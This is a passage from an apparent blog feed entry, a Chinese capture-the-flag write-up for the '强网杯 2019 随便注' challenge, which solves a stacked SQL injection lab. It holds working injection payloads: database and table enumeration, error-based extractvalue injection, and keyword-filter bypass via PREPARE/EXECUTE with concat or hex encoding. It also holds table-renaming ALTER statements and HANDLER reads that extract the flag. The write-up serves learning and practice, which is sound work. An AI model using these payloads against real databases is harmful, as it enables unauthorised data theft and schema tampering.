语句。</p><p>查看数据库名：<code>1&#39;;show databases;#</code></p><p><img src="D:\work\notebook\ontebook\CTF\web学习\sql注入\assets\image-20251019202126770.png" alt="image-20251019202126770"></p><p>查看数据表：<code>1&#39;;show tables;#</code></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251019202230281-1760876551147-2.png" alt="image-20251019202230281"></p><p>查看表结构</p><p>注意：<strong>tableName如果是纯数字，需要用&#96;包裹</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?inject=1&#x27;; show columns from `1919810931114514`;#</span><br><span class="line"></span><br><span class="line">1&#x27;;desc `1919810931114514`;#</span><br></pre></td></tr></table></figure><h3 id="报错注入"><a href="#报错注入" class="headerlink" title="报错注入"></a>报错注入</h3><p>这里是中插一种思路，因为在报错注入查询 数据库名字的时候是不用select的，所以在这里我们是可以用的：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27; and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q</span></span><br></pre></td></tr></table></figure><p>但是只能用于查询表明，数据库名，查询字段时不能用这种方法。</p><h3 id="预编译"><a href="#预编译" class="headerlink" title="预编译"></a>预编译</h3><p>先解释一下什么是预编译语句，</p><p>通俗版一点，就是把 SQL 先给数据库“过一遍语法与优化器”，得到可执行的<strong>执行计划</strong>，然后多次执行时就<strong>复用计划</strong>，只换参数，不必每次重新解析与优化。</p><p>格式：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">PREPARE</span> 名称 <span class="keyword">FROM</span> <span class="keyword">Sql</span>语句 ? ;</span><br><span class="line"><span class="keyword">SET</span> <span class="variable">@x</span><span class="operator">=</span>xx;</span><br><span class="line"><span class="keyword">EXECUTE</span> 名称 <span class="keyword">USING</span> <span class="variable">@x</span>;</span><br></pre></td></tr></table></figure><p>例如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">方法一：</span><br><span class="line"><span class="keyword">SElECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> t_user <span class="keyword">WHERE</span> USER_ID <span class="operator">=</span> <span class="number">1</span></span><br><span class="line">#这是普通的<span class="keyword">sql</span>查询语句</span><br><span class="line"></span><br><span class="line">方法二：</span><br><span class="line"><span class="keyword">PREPARE</span> jia <span class="keyword">FROM</span> <span class="string">&#x27;SElECT * FROM t_user WHERE USER_ID = 1&#x27;</span>;</span><br><span class="line">#将预编译语句命名为jia 要执行的语句是<span class="keyword">SElECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> t_user <span class="keyword">WHERE</span> USER_ID <span class="operator">=</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">EXECUTE</span> jia;</span><br><span class="line">#表示要执行jia</span><br><span class="line"></span><br><span class="line">方法三：</span><br><span class="line"><span class="keyword">PREPARE</span> jia <span class="keyword">FROM</span> <span class="string">&#x27;SELECT * FROM t_user WHERE USER_ID = ?&#x27;</span>;</span><br><span class="line"><span class="keyword">SET</span> <span class="variable">@ID</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">#这里表示要查询的ID值为<span class="number">1</span></span><br><span class="line"><span class="keyword">EXECUTE</span> jia <span class="keyword">USING</span> <span class="variable">@ID</span>;</span><br><span class="line">#对jia语句进行了填充替换然后执行</span><br><span class="line"></span><br><span class="line">方法四：</span><br><span class="line"><span class="keyword">SET</span> <span class="variable">@SQL</span><span class="operator">=</span><span class="string">&#x27;SElECT * FROM t_user WHERE USER_ID = 1&#x27;</span>;</span><br><span class="line"><span class="keyword">PREPARE</span> jia <span class="keyword">FROM</span> <span class="variable">@SQL</span>;</span><br><span class="line"><span class="keyword">EXECUTE</span> jia;</span><br></pre></td></tr></table></figure><p>因为select关键字被过滤了，所以我们可以通过预编译的方式拼接select 关键字：<code>1&#39;;PREPARE hacker from concat(&#39;s&#39;,&#39;elect&#39;, &#39; * from </code>1919810931114514<code> &#39;);EXECUTE hacker;#</code>得flag。</p><h3 id="预编译语句-将语句进行16进制编码"><a href="#预编译语句-将语句进行16进制编码" class="headerlink" title="预编译语句 将语句进行16进制编码"></a>预编译语句 将语句进行16进制编码</h3><p>可以直接将<code>select * from </code>1919810931114514&#96;&#96;语句进行16进制编码，即：<code>73656c656374202a2066726f6d20603139313938313039333131313435313460</code>，替换payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;;PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#</span></span><br></pre></td></tr></table></figure><h3 id="更改表名"><a href="#更改表名" class="headerlink" title="更改表名"></a>更改表名</h3><p>最后一步也可以通过修改表名和列名来实现。我们输入1后，默认会显示id为1的数据，可以猜测默认显示的是words表的数据，查看words表结构第一个字段名为<code>id</code>我们把words表随便改成words1，然后把1919810931114514表改成words，再把列名flag改成id，就可以达到直接输出flag字段的值的效果：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">`<span class="number">1</span><span class="string">&#x27;; alter table words rename to words1;</span></span><br><span class="line"><span class="string">alter table `1919810931114514` rename to words;</span></span><br><span class="line"><span class="string">alter table words change flag id varchar(50);# `</span></span><br></pre></td></tr></table></figure><p>然后通过<code>1&#39; or 1 = 1 #</code>，成功获取到flag。 </p><ul><li>修改表名：<code>ALTER TABLE 旧表名 RENAME TO 新表名；</code></li><li>修改字段：<code>ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型；</code></li></ul><h3 id="handle"><a href="#handle" class="headerlink" title="handle"></a>handle</h3><p>此题还可以通过handle直接出答案：<code>1&#39;;HANDLER </code>1919810931114514<code>OPEN;HANDLER</code>1919810931114514<code>READ FIRST;HANDLER</code>1919810931114514<code> CLOSE;</code></p><ul><li>handle不是通用的SQL语句，是Mysql特有的，可以逐行浏览某个表中的数据，格式：</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">打开表：</span><br><span class="line">HANDLER 表名 OPEN ;</span><br><span class="line"></span><br><span class="line">查看数据：</span><br><span class="line">HANDLER 表名 READ next;</span><br><span class="line"></span><br><span class="line">关闭表：</span><br><span class="line">HANDLER 表名 READ CLOSE;</span><br></pre></td></tr></table></figure><h2 id="references"><a href="#references" class="headerlink" title="references"></a>references</h2><p><a href="https://blog.csdn.net/jonhswei/article/details/147323081">sql注入9之堆叠注入-CSDN博客</a></p><p>[<a href="https://zhuanlan.zhihu.com/p/545713669">强网杯 2019]随便注 1【SQL注入】四种解法 - 知乎</a></p><p>[BUUCTF <a href="https://blog.csdn.net/m0_62879498/article/details/123292860">强网杯 2019]随便注 1（两种方法）-CSDN博客</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/19/%C2%96%E5%BC%BA%E7%BD%91%E6%9D%AF-2019-%E9%9A%8F%E4%BE%BF%E6%B3%A8-1%E3%80%90SQL%E6%B3%A8%E5%85%A5%E3%80%91/</id>
    <link href="https://everythingis-ok.github.io/2025/10/19/%C2%96%E5%BC%BA%E7%BD%91%E6%9D%AF-2019-%E9%9A%8F%E4%BE%BF%E6%B3%A8-1%E3%80%90SQL%E6%B3%A8%E5%85%A5%E3%80%91/"/>
    <published>2025-10-19T14:01:42.000Z</published>
    <summary>
      <![CDATA[<h1 id="强网杯-2019-随便注-1【SQL注入】"><a href="#强网杯-2019-随便注-1【SQL注入】" class="headerlink" title="[强网杯 2019]随便注 1【SQL注入】"></a>[强网杯 2019]随便注 1【SQL注入】]]>
    </summary>
    <title>[强网杯 2019]随便注 1【SQL注入】</title>
    <updated>2026-05-08T13:11:45.948Z</updated>
  </entry>
</feed>
